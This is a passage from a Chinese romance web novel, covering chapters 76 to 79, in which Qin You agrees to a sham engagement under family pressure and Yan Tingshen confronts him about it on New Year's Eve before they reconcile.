比起上次见面,她依旧端庄娴静,却更温顺柔和。
也是。
嫁进秦家只为生一个继承人,这种出于交易的婚姻,只会压迫最听话的那个软柿子。
“你说我不是自愿。”
秦游道,“那么你呢?”
刘望舒一愣,指甲掐住了指腹:“我……可以的。”
秦游正要开口。
忽然间,一点寒意落在眼睑。
他微抬起头。
下雪了。
看着灯光下星星点点的白芒,秦游沉眸。
他记得,上一次淋雪,还是在滑雪场,和严庭深在一起。
“小秦总,你可以不用顾忌我,这次订婚的条件,我家里……全部同意。”
秦游收回视线,再看向她。
秦恒钟想给他们制造独处的空间,这里空无一人,他也直言说:“刘小姐,有没有兴趣和我做一笔生意。”
刘望舒又是一愣:“生意?”
“订婚后,我会解除这个婚约。”
秦游道,“你的名誉因此受损,之后我会作出补偿。”
“解除婚约?”刘望舒先是睁大眼睛,却又迟疑,“可……”
秦游道:“你不想做这笔生意,我不会勉强,但请你为我保守这个秘密。老爷子那边,你不用担心,我会说服他换个人选。”
刘望舒看了看他,还是有些犹豫:“可我父母那边……”
秦游淡淡说:“这件事,是我单方面毁约,和你无关,你的父母不会为难你。”
刘望舒这才松了口气。
她看向秦游,眼神感激:“谢谢您,小秦总,我知道,您想毁约,完全可以不提前通知我。”
秦游道:“回去吧。”
该说的话已经说完,他没再聊下去,话落转身回了会客厅。
没多久,管家过来,请他去书房。
秦游刚进门,看到秦恒钟坐在沙发。
管家关了门,秦恒钟才问:“聊得还投机吗?”
秦游只说:“就她吧。”
秦恒钟终于笑了:“好,那正月初二——”
秦游打断了他:“订婚宴没必要太隆重。”
秦恒钟微微皱眉,可也没坚持,秦游能答应订婚,已经是最大的成功:“可以不宴请宾客,但至亲好友还是要请的。”
秦游没太在意这些细枝末节。
仅仅秦家的人,对刘望舒这个“受害者”,不会产生多少影响。
“其余的事,董事长做决定吧。”
秦恒钟听到他的称呼,沉默两秒,才说:“外面下了雪,你在家里睡一晚,明天再走。”
秦游还是用同样的理由回绝:“我认床。”
秦恒钟还想说什么,秦游已经道别离开。
下楼时迎面遇到管家,秦游颔首示意,再下一层,又遇见祁新维。
“哥,新年好。”
秦游看向他。
祁向赫和祁海良接连入狱,这个唯一的祁家人,今天在席间饱受冷眼,即便如此,还要过来搬弄是非,何尝不是一种坚持不懈。
祁新维走到秦游身前:“哥,有一件事,我想了很久,还是觉得应该告诉你。”
秦游脚下没停:“什么事。”
“是你的订婚宴。那天我无意中听到,姥爷早就准备好了请柬,说是要送给……”
祁新维跟在后面,有孟云哲挑明的视频,他的话递得更准确,“——严庭深,严总。”
秦游住脚。
祁新维压着嘴边的笑容。
看来孟云哲的发现是真的,和秦游有一腿的男人,果然是严庭深。
秦游之前为了这个男人,连总经理都拱手让人,现在答应结婚,订婚还这么仓促,肯定是和姥爷达成什么交易。
结果姥爷瞒着秦游,私下里给严庭深送请柬,交易还能完成,秦游还能忍吗?
闹吧。
最好是闹得取消婚约,回到之前的状态。
秦游退出秦氏,对谁都好。
祁新维想着,又假意劝说:“哥,你要不要去找严总解释一下?”
秦游转眼扫过他摆满虚情假意的脸,语气平淡:“这个消息,我会先和老爷子核实。”
祁新维表情一僵,心头猛地一跳。
他不相信,之前还为此大动干戈的秦游,得知这件事竟然会这么无动于衷;他想再说什么,又被这句话冻住了手脚。
这时项海峰迎上来:“秦总,车到了,现在要出发吗?”
秦游道:“嗯。”
系统还在欢呼:【好耶!宿主,这下不用你说,主角也知道了!】
秦游没有开口,走向门外。
上了车,他从怀里掏出手机。
然而良久,他迟迟没再动作。
解释?
订婚而已,有什么可解释。
再过良久,秦游摘了眼镜,倚在靠背,缓缓闭眼假寐。
—
与此同时。
瑞鸿酒店。
“什么事啊,这么急着找我?”
齐晏站在门口,看到裴笙,问了一句,就开始唉声叹气,“大过年的,我真服了,没一点安生日子。”
“别抱怨了。”裴笙皱眉把手里的东西递给他,“看看吧。”
“别抱怨?你是不知道我的苦,我都不知道该怎么——”
齐晏边说边抬手去接,打开一看,他睁大双眼,再看裴笙,脸色十足僵硬,“这玩意儿……你哪儿来的?”
裴笙叹了口气,呼吸间的白雾随风飘散:“秦宅的人联系我,连夜送到我手上,请我务必交给庭深。”
齐晏颤抖的手捧着这封请柬,活像捧着一枚不定时炸弹。
听完这句话,他赶紧把请柬扔回裴笙怀里:“那怎么办?秦游竟然真的要订婚?”
裴笙语感敏锐,问他:“你知道这件事?”
齐晏长叹一声:“严大总裁让我去查初二秦家有什么事,我早就查到了,拖到现在都没敢汇报呢……”
裴笙又皱眉,抬腕看表:“他已经从福中路回来了,这件事瞒不住,想想该怎么告诉他吧。”
“怎么告诉他?”
齐晏退了半步,“秦游结婚了,新郎不是你?”
对着严庭深把这句话说出口,那场景,他想想都头皮发麻。
还是算了吧。
他的好日子还没过够呢。
裴笙也沉默着。
他怎么都没想到,秦游竟然会订婚。
难道秦游放弃庭深了吗,如果真的放弃,昨天见面,又怎么会是那样的情形。
齐晏又是一声长叹:“这两个人,真是不给别人活路,明明和好了,又来这一出。”
“不论如何,这件事必须告诉庭深,宜早不宜迟。”
裴笙说,“不能拖到明天,再过一天,订婚宴结束,到时候说什么都晚了。”
“现在也晚了呀!初二订婚,请柬都发了,还能怎么办?”
齐晏抓了抓头发,“除非让庭深去抢婚,你觉得那可能吗!”
裴笙语气冷静:“没什么不可能。”
话落,他给严庭深打了一通电话,说明有重要的事要商量,请严庭深过来一趟。
齐晏看着他挂断电话,扯了扯领带:“这么突然?你直接让他过来?他来了我们说什么?”
裴笙想了想:“循序渐进吧,先铺垫一下,不要把话说得太直接,让庭深有个心理准备。”
齐晏嘴角抽了抽:“我还想给我自己一个心理准备呢……”
他看向门前渐渐飞舞的雪,“要不要进去等?他过来还得一会儿吧。”
裴笙摇头。
见状,齐晏耸了耸肩:“那我也舍命陪君子好了。”
虽然就算进去,他自知也是一样坐不住。
两人在门前等了十几分钟,终于看到车灯由远及近。
看着严庭深的车缓缓停下,齐晏做个深呼吸,当前一步,迎了过去。
严庭深从车上下来,见他也在,看了裴笙一眼。
齐晏笑说:“严总辛苦了——”
严庭深道:“事情查得怎么样了。”
齐晏的笑容凝固了。
裴笙绕前一步,不动声色:“雪越下越大了,我们进去谈吧?”
严庭深道:“嗯。”
三人先后进门。
齐晏和裴笙落后一步。
齐晏还向裴笙使眼色,就看到对面有一家三口说说笑笑着迎面过来。
“孟云哲?”
齐晏气笑了。
这小子,躲了这么久,竟然还敢这么堂而皇之地露面。
他对身后左右示意。
保镖当即无声分散,围了过去。
孟云哲也很快看到了对面的场景,吓得脸色剧变,转身要跑,就被箭步绕到身后的保镖一招按倒!
严立辉怒声呵斥。
一旁的女人惊慌失措。
保镖向老板请示着——
嘈杂声中,孟云哲挣扎着抬头,一眼看到正前方当中的严庭深。
他的心沉到谷底,绝望肆无忌惮涌了上来。
挣扎几次都无法动弹,他的表情渐渐狰狞。
“严庭深——”
自知死路一条,他竟然哈哈大笑起来。
“原来你在这?那秦游今晚在陪谁一起跨年呢?”
听到这,齐晏已经有不妙的预感:“住口!”
保镖也注意到老板授意,捂向孟云哲的嘴。
孟云哲怨毒的眼神瞪着严庭深,满含恶意的话已经出口。
“当然是他的未婚妻!”
第 77 章 任由冲动代替理智。
“立辉, 立辉,你快让他松手,地上那么冷, 云哲受不了的!”
严立辉拍了拍孟书兰的手, 安抚她不要担心。
转而看到身前的场景,他面带怒气,越过保镖, 又看向严庭深:“让他们松手!你们凭什么抓他?”
严庭深却沉沉看着孟云哲,眼神溅着寒气, 下颚冷硬如铁。
齐晏的心已经凉了半截, 和裴笙对视一眼, 又往前一步, 挡在严庭深和孟云哲之间, 对保镖打个手势, 示意把人先带走。
周围工作人员早在动手之初就被清场。
报警后, 看到老板的动作, 所有保镖一起围了过去。
严立辉怒气更盛, 也往前走了几步, 拦下保镖的动作:“都给我住手!”
裴笙也到齐晏身侧, 解释说:“严先生,孟云哲是至少一起命案的在逃嫌疑人,我们是在配合警方, 抓捕逃犯。”
“命案?”
严立辉脸色微变,“什么命案?”
他和严庭深父子关系不好,不代表他不了解严庭深。
严庭深不屑用这种手段;对这种事,也绝不可能无的放矢。
而且最近这段时间,孟云哲确实不肯出门。
连今晚的年夜饭, 都是书兰问了几遍,孟云哲都不肯解释不来的原因,他一怒之下把人强行叫出来的。
想到这,严立辉猛地看向孟云哲:“云哲,到底怎么回事?”
孟云哲徒劳挣扎着。
听到裴笙的话,他耳边长声嗡鸣,再也听不到其他的动静,错觉浑身的血液冻结成冰,连挣扎的动作都在打颤。
严庭深果然知道了……
命案。
李见航那个废物,事情没办成,只撞死一个司机,现在反而成了要他命的重要佐证。
孟云哲听到牙齿打颤的声音。
以严庭深的性格,现在摆在他面前的,就真的只剩一条死路了……
“云哲,你快说话呀,把误会解释清楚!”
孟云哲骤然抬头。
他的前额绽出青筋,双眼因恐惧布满血丝,覆盖着一层胆寒之下、玉石俱焚的怨恨。
他没有活路,严庭深也别想好过!
借严立辉拉开保镖的动作,他笑了一声。
笑声从嗓子眼里挤出来,听着变形尖锐:“你以为秦游真的喜欢你?别做梦了!”
听到这句话,严立辉先愣住了:“你说什么?”
孟云哲恨不得昭告天下:“想不到吧,你的好儿子,钧闵集团的总裁,他喜欢男人!”
闻言,严庭深心间狠狠一震。
他立在原地,脑海里已浮现出那道熟悉的身影。
齐晏冷眼看着孟云哲,对保镖道:“把他拉下去!”
严立辉却怒声道:“我看谁敢!”
保镖下意识看向齐晏。
齐晏眼神不变,微抬下巴。
保镖会意,当即继续动作。
推搡间。
孟云哲血红的眼睛盯着似乎淡漠如初的严庭深,接着说:“可惜,严总,你不会还不知道吧,秦游要订婚了!”
严庭深垂眸看他。
孟云哲浑身一颤,呼吸急促,声音却越拔越高:“你以为他喜欢你吗?你以为他在乎你吗?他对你只是图一时新鲜而已,现在只不过是他玩腻了——”
被严立辉阻拦,几度捂不住的嘴,被保镖直接卸了下巴。
齐晏摆手。
保镖们架起了孟云哲。
路过严庭深,孟云哲又挣动一瞬。
严庭深抬手。
保镖同时停下。
严庭深看向孟云哲。
刚才还猖狂叫嚣的孟云哲,看着近在身前的严庭深,却往后一避再避。
可身后就是保镖铁板似的人墙,他的任何动作都是白费力气。
严庭深看着他,淡声道:“孟女士很快会和你团聚。”
听到这句话,孟云哲的双眼再度血红。
“她的亲朋好友也会和她一起。”
严庭深神情不改,语气依旧淡淡,“直到加倍吐干净你洗来的每一分钱,赎清你这一条命赎不清的罪为止。”
孟云哲顿时目眦欲裂,疯狂挣扎起来。
严庭深往前一步。
“……”孟云哲呼吸颤抖,摇着头无力地往后躲避,嘴里发出模糊不清的音节,狰狞的脸上早就满是恐惧,“不……求……”
严庭深看着他的眼睛:“她走到哪一步,要看你进去之后提供多少线索。我要知道,你的同伙,还有谁。”
孟云哲极力想说话,但保镖已经把人带了出去。
见严立辉还有话说,齐晏礼貌微笑:“伯父,刚才你也看到了,孟云哲不仅不知悔改,还在大庭广众之下造谣生事,这项罪名,我会如实转告律师。”
严立辉脸色难看:“你——”
“另外。”
齐晏挑起眉毛,“还没问过,孟云哲和伯父是什么关系?如果是伯父看重的晚辈,知道的人,明白你是担心误会;不知道的,还以为伯父宁愿不顾自己的亲生儿子,也要包庇一个外人。”
严立辉一滞,忽然哑口无言。
齐晏看了一眼他身旁的孟书兰,意有所指:“大年夜,伯父还不回家吗?”
严立辉下意识看了看严庭深,才黑着脸说:“我的事,还轮不到你一个小辈插嘴!”
齐晏耸肩:“既然伯父看重隐私,那我们就不打扰了。”
他说着,也看向严庭深,“庭深,我们走?”
严庭深的视线扫过身前的一男一女。
两人都避开了他的目光。
裴笙也说:“庭深,明天要签合同,我们先进去谈吧?”
严庭深已经收回视线。
齐晏快步跟上,来到包厢。
房门合起,房间里瞬间死寂无声。
裴笙张口:“合同——”
“说吧。”
严庭深走到窗前,“怎么回事。”
齐晏又和裴笙对视一眼,都看出对方眼底的踌躇。
事情超出他们的预期,几乎是以一种最恶劣的方式让严庭深得知真相,他们一时之间都不知道该说什么才能弥补。
严庭深背对两人,抬手按在窗台,缓缓收紧,骨节隐隐发白:“这么说,是真的。”
齐晏咬了咬牙,硬着头皮说:“秦游他……确实要订婚,正月初二,是他的订婚宴。”
严庭深看着窗外,神情愈冷,薄唇抿成一线。
正月初二。
‘初二我可能也有事要办——’
原来秦游可能要办的事,就是订婚。
那么,为什么要瞒着他。
既然早已经决定订婚,既然口口声声把他当成朋友,这件事,为什么只字不提。
“这是,秦老送来的。”
严庭深转眼,看到裴笙犹豫递来的请柬,顿了顿,才抬手接过。
秦游。
刘望舒。
深红的字体,不算鲜艳,却显得这样刺眼——
齐晏试图打破这股让人窒息的安静:“这个刘望舒就是恺强科技刘总的千金,之前见过面,可我查了她这几个月的行程,和秦游没有任何重合的地方。”
裴笙也说:“是啊,庭深,我在想,这件事会不会有误会?”
“我也是这么想的。之前秦游还因为——”
齐晏看了严庭深一眼,咳了一声,“你们的事,让秦老大发雷霆,秦游为了你,更是连秦氏都不要了,这才多久,就算改主意,也没这么快,直接跟一个陌生人订婚的吧?”
严庭深眉间微蹙。
“订婚的日期也赶得太紧。”
裴笙说,“哪怕改主意,秦游订婚,也不可能这么仓促,齐晏查到的消息,刘家也是近几天才做准备。我怀疑,秦老是因为秦游始终不肯和你分手,所以用了什么手段。”
严庭深已经听出两人话里的误会。
他再看向窗外,只道:“秦游出柜,和我无关。”
齐晏又叹气。
对这句话,他是死也不信:“哎呀严总,都这个时候了,就别说气话了吧,除了你,他还能为谁出柜啊?”
严庭深一言未发。
齐晏摸了摸鼻子:“我们都明白,订婚这件事确实是秦游做得不对,可现在事实不清,说不定他也是被逼无奈呢?”
严庭深捻动掌下的请柬:“除非自愿,谁能强迫他答应。”
齐晏词穷了。
他看向裴笙。
裴笙看着严庭深腕上换回的手表。
良久,他只问:“你要把他拱手让人吗?”
听到他的声音,严庭深的神情倏然凛冽。
“你们的感情,连孟云哲都看得一清二楚,我和齐晏更不可能看错。”
裴笙说,“秦游不会自愿订婚。秦老现在用这封请柬光明正大离间你们的感情,我相信,这也绝不会是秦游的本意。”
严庭深转眼看他。
对上这道眼神,裴笙五指一紧。
严庭深说:“你很了解他。”
裴笙没有和那双眼睛对视,片刻,低声说:“我了解的,是你。”
他曾站在离严庭深最近的地方。
可他从没真正见过属于严庭深的喜怒哀乐。
这一切,只有秦游才能做到。
“齐晏说的对,到了这个时候,最关键的,是秦游订婚的问题。”
裴笙终于抬头,却和以往一样,他没有追上那道目光,眼前只有那张永远从容、永远冷静、也永远淡薄寡情的侧脸。
他看着严庭深。
即便看不见,他也清楚地知道,那双同样永远无情的眼睛里,此时此刻,一定也只会是那一个人的倒影。
他认真地问:“庭深,你希望他订婚吗?”
严庭深纹丝未动。
“现在不是正月初二,一切还来得及。”
裴笙注视他的侧脸,“他喜欢的人是你——”
“够了。”
一再从裴笙口中听到这样的句子,严庭深阖眼,压下胸膛里滚涌肆虐的莫名怒气,“你们回去吧。”
这场景似曾相识。
齐晏拉住还想劝说的裴笙,对他摇了摇头。
“那你一个人先静一静,有什么事,随时联系。”
没听到回应,齐晏也没再说话,和裴笙一起出了门。
严庭深停在窗边,不知过去多久,才转身下楼。
司机等在车前,看到老板的身影,立刻拉开后车门。
严庭深抬手按在车门,余光看见腕上的手表,一句话冷不丁跳到耳边。
‘喜欢梅花的是你——’
‘和裴笙有什么关系。’
严庭深看着它。
耳边又有裴笙的声音在质问。
‘你希望他订婚吗?’
严庭深略过乱了节奏的心跳,压制难以平缓的呼吸,按在车门的手紧了又紧,脚下却迈不出一步。
秦游喜欢的人,是裴笙。
也是为了裴笙,才不惜退出秦氏。
现在秦游订婚与否,是否自愿,他只是局外人,有什么资格置喙。
那么,就这样看着秦游订婚——
“严总?”
司机忙问,“要去医院吗?”
严庭深移开视线。
良久,他上了车,语气早已如初:“不用。”
司机犹豫着,可又不敢质疑老板,又问:“现在要回去吗?”
严庭深道:“嗯。”
司机正要关门。
“不。”
司机一愣,看进车里。
严庭深久久看着手里的请柬。
第一次,他任由冲动代替理智,作出决定。
“去泽水湾。”
第 78 章 从一开始认识的人,严庭……
【宿主, 都快十二点了,你该休息啦。】
秦游敲键盘的手微顿,转眼看到屏幕右下方的时间, 果然已经是十一点四十六分。
他松手靠在椅背, 闭眼几秒,才关了电脑,从桌前起身。
系统说:【宿主, 你平时只有上午忙两个小时,时间刚刚好, 今晚为什么要忙到现在啊, 会累坏的!】
秦游没开口。
去浴室冲了澡, 他擦着头发出来, 听到外面断断续续的鞭炮声开始密集。
系统气愤地说:【这样让人怎么睡啊, 真打扰人休息!】
秦游道:【不要紧。】
他说着, 拿起手机。
屏幕亮起, 时间定格在十一点五十五分。
还差五分钟, 就是新的一年了。
秦游到沙发前坐下, 点开聊天软件, 点进严庭深的聊天页面。
点击输入框, 他编辑“新年快乐”四个字,正要发送,屏幕忽然一闪——
来电铃声响了起来。
秦游挑眉, 噙笑接起:“这么晚了,还没睡?”
听筒里传来一阵沉默。
如果不是有鞭炮声同时传来,秦游还以为电话没能接通。
他稍稍坐正,唇边笑意微敛,轻声问:“怎么了?”
严庭深的声音终于传来:“……我没事。”
秦游道:“别对我撒谎。出什么事了?”
鞭炮声掩盖着严庭深的呼吸, 再通过听筒传到耳边,没有半分异样。
严庭深说:“今天,我听说了一个消息。”
不等秦游开口。
他接着说:“和你有关。”
秦游一顿,已经明白这个消息是指什么,他靠回椅背,抬手按了按鼻梁:“请柬?”
他已经答应订婚,秦恒钟想用这件事“打击”严庭深,这张请柬自然送得越早越好。
严庭深语气如常,还毫无波澜:“你有非做不可的理由?”
秦游道:“算是。”
对话安静片刻。
严庭深突然问:“你喜欢她?”
秦游知道他在问谁:“怎么会。我和刘小姐,只见过两次面。”
严庭深的话难得隐含尖锐:“两次见面,却足够让你决定和她共度一生。”
秦游无奈:“你误会了。”
“误会?”
严庭深说,“请柬就在我手上,正月初二,难道不是你的订婚宴?”
秦游道:“是订婚宴没错,但——”
“那还有什么误会?”
严庭深语气微沉,“我应该恭喜你才对。”
秦游失笑:“恭喜就免了。”
听筒里又有短暂的安静。
秦游接着说:“订婚是假的。”
“假的?”
严庭深的声音没有停顿,几乎追问,“什么意思?”
对他,秦游没什么好隐瞒:“老爷子逼得太紧,权宜之计而已。”
严庭深又追问:“权宜之计?”
秦游只好把话挑明:“婚后,老爷子不会干预我的私事。”
严庭深蹙眉:“你要和刘望舒结婚,这算什么权宜之计?”
秦游道:“不结婚,只订婚。”
严庭深说:“你这么想,秦老却不一定。何况刘家和你联姻,即便只为利益,也会弄假成真。”
秦游道:“放心,刘小姐已经答应我的提议。订婚后,我会找合适的时机解除婚约。”
严庭深又微蹙起眉:“你确定,她不是和你一样,用了权宜之计?”
秦游笑说:“我确定。”
刘望舒性格单纯,等同于一张白纸。
作为这次“交易”的受害者,他只为她考虑一分,就得到十分的感激。
这种性格在名利场里不是加分项,但她的确心地善良,表里如一。
再者,他想解除婚约,刘望舒答应与否,其实并不重要。
“看来,你很欣赏她。”
“欣赏?”
秦游又笑一声,“严总,你谈过多少笔生意,那么多可以合作的对象,难不成,你个个都欣赏?”
严庭深一语未发。
秦游道:“我知道你不相信她,但你不信我吗?”
严庭深说:“你已经被秦老逼到这一步,订婚之后,再逼到结婚,岂不是顺理成章。”
秦游道:“那就相信我,不会有那一天。”
话音落下,电话两端,都只剩此起彼伏的鞭炮声。
忽地。
窗外一束金花直冲天际,怦然炸响。
秦游正循声看过去,耳边听筒里骤然传来一模一样的响声。
之后是第二声、第三声——
秦游心念轻动,从沙发起身,看向窗外:“你在哪?”
严庭深沉默着。
秦游已经打开推拉门,走到阳台。
室外,鞭炮声更浓。
飘飞漫天的鹅毛大雪里,也掺杂着年关独有的硝烟味道。
整片泽水湾稍显安静,但也早早装饰一新。
庭院里火树银花,亮如白昼。
门外的路灯,也高高挂着精美喜庆的大红灯笼。
秦游站在护栏前,视线早已落在红色灯笼下,不知伫立雪地多久的那道身影。
他看着他:“怎么不进来?”
严庭深握着手机的五指微紧。
他听到秦游开门、听到秦游走出门外,再听到秦游的声音响起,他抿直薄唇,隔着庭院,隔着飞雪,抬眼看着秦游不够清晰的脸。
他站在冷色路灯下,看向被暖意笼罩的阳台。
见秦游转身要走,才道:“为什么不提前告诉我。我可以帮你。”
“你帮我的够多了。而且这种私事,你又能怎么帮我?”
秦游接着说,“这么大的雪,别站在外面了,快进来吧。”
话落,他再度转身,倏然间,听到耳边传来严庭深问出的话。
“你不是喜欢裴笙吗?”
秦游住脚。
他回身看向院外。
严庭深视线不转,又问:“你这么做,不怕他误会你吗?”
秦游看着他。
喜欢裴笙。
这是严庭深第二次说出这句话。
“如果——”
秦游打断了他:“我说过,我做的事,和他无关。”
严庭深说:“你为他出柜,为他退出秦氏,为他放弃——”
秦游道:“谁说我是为他?”
严庭深说:“难道不是吗,秦氏上下谁不知道,你是为一个男人——”
秦游第三次打断了他:“这个男人,老爷子以为是你。”
闻言,严庭深的手狠狠一紧。
心跳似乎也被遥远的鞭炮迷惑,杂乱无章,急得如同鼓点。
“他误会我喜欢你,我不想接管秦氏,所以没澄清。他会给你请柬,应该也是这个原因。”
误会。
严庭深手上的力道缓缓松开。
秦游道:“这件事我一直没告诉你,只是不想对你有影响,没想到他会去打扰你,抱歉。”
严庭深听他说完,只问:“那裴笙呢?”
秦游笑说:“你怎么——”
这一次,严庭深打断了他:“你亲口表白过,不止一次,你喜欢他,是从四岁起就有的感情。不是吗。”
秦游无言以对。
他之前的表白和现在的订婚,都是系统任务,但这个原因不方便向严庭深解释。
他最后只说:“感情不能强求,对裴笙,我现在不打算考虑这些。”
“你没有回答我的问题。”
严庭深说,“你现在,喜欢裴笙吗?”
秦游又有沉默。
和严庭深认识以来,对方从不这样追根究底,显得咄咄逼人。
不过,既然严庭深想知道,他给他答案:“我不喜欢裴笙。现在不喜欢,将来也不会。”
严庭深凝望着他:“为什么?”
为什么不喜欢。
为什么否认对裴笙的感情。
为什么发现认错之前,从不说这样的话。
秦游却说:“好了。再这么问下去,天要亮了。”
严庭深听出秦游的回避。
但已经到了泽水湾,已经见到这个人,已经冲动到这一步,覆水难收,他已经不打算再按下最需要答案的一个疑问。
“我还有最后一个问题。”
秦游又是无奈:“你问。”
问题在心里积压太久,早已成型。
严庭深直言问他:“在你眼里,我和裴笙,究竟怎么分辨?”
秦游一顿。
严庭深说:“你说你可以分辨,可你和我相处以来,都认为我是裴笙,那你该怎样分辨清楚,对我的感情,有多少是对裴笙的延续。”
秦游看着他。
同样的,这不是严庭深第一次提起这个话题。以他的性格,问一遍已经是在乎,何况一问再问。而这个问题,也是所有矛盾的关键。
既然这么在意。
既然他想知道。
“四岁的秦游,感激的是四岁的裴笙。”
秦游轻声告诉他,“但我遇到的,是你。”
严庭深听到鼓噪的心跳又在擂响,仿佛随时都会跳出胸膛。
秦游说:“我不是四岁的秦游,你也不是裴笙。”
严庭深按着手机,呼吸渐渐发紧:“你——”
“听我说。”
秦游道,“认识你确实是误会,但从一开始认识的人,严庭深,我希望是你。”
“砰——!”
直冲天际的烟花陡然在空中炸亮。
两人一齐看过去。
严庭深先收回视线。
跨年的烟花绚烂夺目,他看着斑驳陆离的好颜色落在秦游脸上,照亮神情,照亮那双看不清、却在脑海浮现的桃花眼。
前所未有的冲动随着心跳溢出胸膛。
严庭深突然开口:“秦游。”
秦游也收回视线,看向严庭深。
严庭深说:“我……”
他的声音被第二道直冲天际的尖啸掩盖。
秦游不确定是没听清,还是他没有说完。
“什么?”
真正对上那双眼睛,严庭深抿唇,垂眸片刻,随即又抬眼。
秦游看着闪耀明亮的烟花下、严庭深似乎不复冷淡的脸,距离同样遮掩他的神色,也映不出他眼底的目光。
只有那道视线,不受烟花阻隔,不受雪夜影响,依旧望过来,依旧深邃。
严庭深看着秦游。
又一朵璀璨烟花兀自炸响,为他伴奏。
他只说了四个字。
“新年快乐。”
第 79 章 想骗我,你下次先把自己……
秦游自上而下看着那张路灯下微仰的脸, 也含笑回了一句:“新年快乐。”
话落,他转身回到卧室,出门下楼。
楼下, 管家和项海峰正在前厅闲聊, 看到秦游走近,都各自站直。
“秦总。”
“秦先生。”
秦游看了两人一眼。
管家立刻去拿外套。
项海峰对上秦游的眼神,则低下头, 为自己解释:“秦总,是严总说不用跟你说的。”
秦游脚下没停, 没去追究, 只问:“他来了多久?”
项海峰说:“差不多半个小时。”
秦游皱眉。
他穿了外套, 再随手取过围巾, 走向门外。
项海峰跟到门口, 远远看见大亮的车灯, 和灯前拉长的影子, 不由和管家一起停了。
秦游径直往前, 已经迎面对上严庭深的视线。
终于看到他。
终于面对面。
严庭深也往前迎了几步。
距离拉近, 秦游看到他肩上堆积一层的落雪, 和他对视一眼, 才抬手扫了下去:“来了这么久,怎么在外面等?”
严庭深眸光轻闪,又看到他外套下的睡袍:“你要休息了?”
秦游听出弦外之音:“有安排?”
严庭深转眼看向车灯照亮的长道, 银色的雪地一路延伸到漆黑的夜色,仿佛看不到尽头。
他说:“我想走一走。”
秦游看他额前被雪打落的几缕头发,再拂去他发顶的薄雪,闻言笑说:“天寒地冻,深更半夜, 你想走到哪儿去?”
严庭深回眼看他。
秦游道:“下次吧。至少等到白天。”
严庭深又看向一旁,语气如常平淡,似乎随口一提:“你的下次,从来没兑现过。”
秦游失笑:“有吗?”
他没去回想,索性随严庭深心意,“那就不等下次。来吧,我陪你走一走。”
严庭深却道:“不必了。”
秦游挑眉:“怎么?”
严庭深扫过他随意拢起的前襟,只说:“我有点冷。”
“冷?”
秦游说着,把搭在颈上的围巾绕在严庭深脖颈,随后揽在严庭深腰后,半推半按把人换个方向,回向室内,“知道冷,还傻站在外面。”
残留的稀少体温顷刻融进血管,严庭深下意识抬手按在这块暖意灼人的布料上。
垂眸看到围巾的纹理,他五指收紧,又下意识看向身旁秦游的侧脸。
秦游正对管家示意。
也许察觉近在咫尺的目光,他也转过眼。
严庭深收回视线:“嗯。”
两人进门,佣人送来热饮,秦游递给严庭深:“暖暖手。”
严庭深接过,和他再回到客厅。
落座后,秦游简单聊了几句,才问:“你今晚过来,就是为了问我订婚的事?”
严庭深没看他:“算是。”
听到这两个字,秦游轻笑:“那现在问完了,天色也不早了,要不要早点休息?”
严庭深看向门外。
秦游道:“这个点了,今晚在这睡吧。”
严庭深举杯的手一顿,没有拒绝:“好。”
两人在客厅聊过一杯热饮的时间,才起身上楼。
秦游送人到卧室。
离开之前,记起严庭深的话,他想了想:“初一你有事要忙,初二我可能走不开,初三的那顿饭吃完,我陪你去散步。”
严庭深解围巾的动作又顿住。
“这个下次,我会兑现的。”
秦游笑说,“你想去哪,想去多久,我陪你到尽兴为止,怎么样?”
严庭深看着他。
随即垂眸继续解下围巾,第二次交到他手中:“好。”
秦游接过围巾:“晚安。”
严庭深道:“晚安。”
他看着秦游转身出门,直到关门声响起,才收回视线。
胸膛里难以言喻的如火浪涛还在冲刷涌动,他体内没有一丝寒意,只有说不清的萌动周而复始。
来到这里,来见秦游,他原本打算问清秦游订婚的原因。
但秦游的的话远超他的意料,来时的冲动没有平息,反而愈演愈烈,翻腾间,有不能自制的东西正在发酵,正在破土而出。
严庭深走到卫生间,走近洗手池。
他站在镜子前,镜面倒映的,却渐渐是秦游的脸。
‘订婚是假的。’
‘我希望是你——’
严庭深倏地闭眼。
他俯身掬水浇在脸上。
冰凉的冷意打断思绪,堪堪帮他找回今夜所剩无几的理智。
清醒过后,他看了看时间,转身去浴室洗漱。
到床上躺下,再强压纷乱搅动的杂念,他本以为会难以入睡,却意外的,一夜无梦。
—
次日。
清晨。
严庭深从楼上下来,听到客厅的动静,循声过去时,先看到沙发上的秦游。
秦游坐姿随意,单臂搭在扶手,倚在靠背,双腿交叠,膝上摆着一个平板,空出的右手点点划划,偶尔抬眼给工作人员一句回应。
严庭深进门时,工作人员正推出另一组正装礼服。
管家也正问:“秦先生,这几套呢?”
秦游没抬头:“可以。”
“……”管家只好对工作人员说,“秦先生尺寸没变,不用改了,都收起来吧。”
之后看到严庭深,他退了半步,“严总,早上好。”
说完又向老板请示,“早餐已经备好了,要开饭吗?”
秦游也看到严庭深,放下平板,从沙发上起身:“嗯。”
严庭深看过被推远的衣架。
明天就是秦游的订婚宴,这些礼服是为什么准备,再清楚不过。
“看什么呢?”
严庭深收回视线:“没什么。”
秦游也没在意,和他一起走向餐室。
吃过早饭,严庭深不再久留,先回了一趟住处,到公司已经十点。
裴笙和齐晏几乎同时赶到,见到他,正打招呼。
“庭深——”
招呼还没到打完,保镖突然护到身前。
一个人影从暗处走了出来,神色显得疲惫,但更多的是流露的怒火。
“伯父?”齐晏皱起眉头,“你怎么在这?”
严立辉冷笑看着严庭深:“除了这,我还能去哪里找到我这个好儿子?”
齐晏猜到他来者不善:“伯父,今天的合作你应该明白,不能出半点差错。”
严立辉冷冷说:“我当然明白,我也不是来搅黄生意的,我是来告诉你们,马上把云哲放出来!”
说到这,他又看向严庭深,“我知道,你已经查到书兰和云哲的身份,可他们从来没妨碍到你,何况他是你的亲弟弟!你难道就这么冷血,连你自己的亲弟弟都不放过?”
裴笙皱眉上前。
齐晏抬手把他按回去。
裴笙还在钧闵上班,和严立辉硬碰硬,对他没好处。
“伯父。”
齐晏摆事实讲道理,“你说孟云哲没有妨碍到庭深,这句话你有没有问过孟云哲自己?之前庭深出了一场车祸,受了重伤,就是拜他所赐。”
严立辉惊愣住:“什么?”
齐晏说:“而且不止是设计一场车祸,想置庭深于死地;他还在苍滨买凶杀人,对秦游动了手。所以孟云哲的官司,就算我们想放,秦家也不会善罢甘休。再说了,这是刑事案件,我们哪有放人的权利?”
严立辉难以置信:“不可能!云哲不可能会做这种事!”
齐晏说:“这些罪名不是我说了算,是警察找到的证据,伯父,如果你真的相信他是无辜的,那就等事情调查清楚,他自然会无罪释放。”
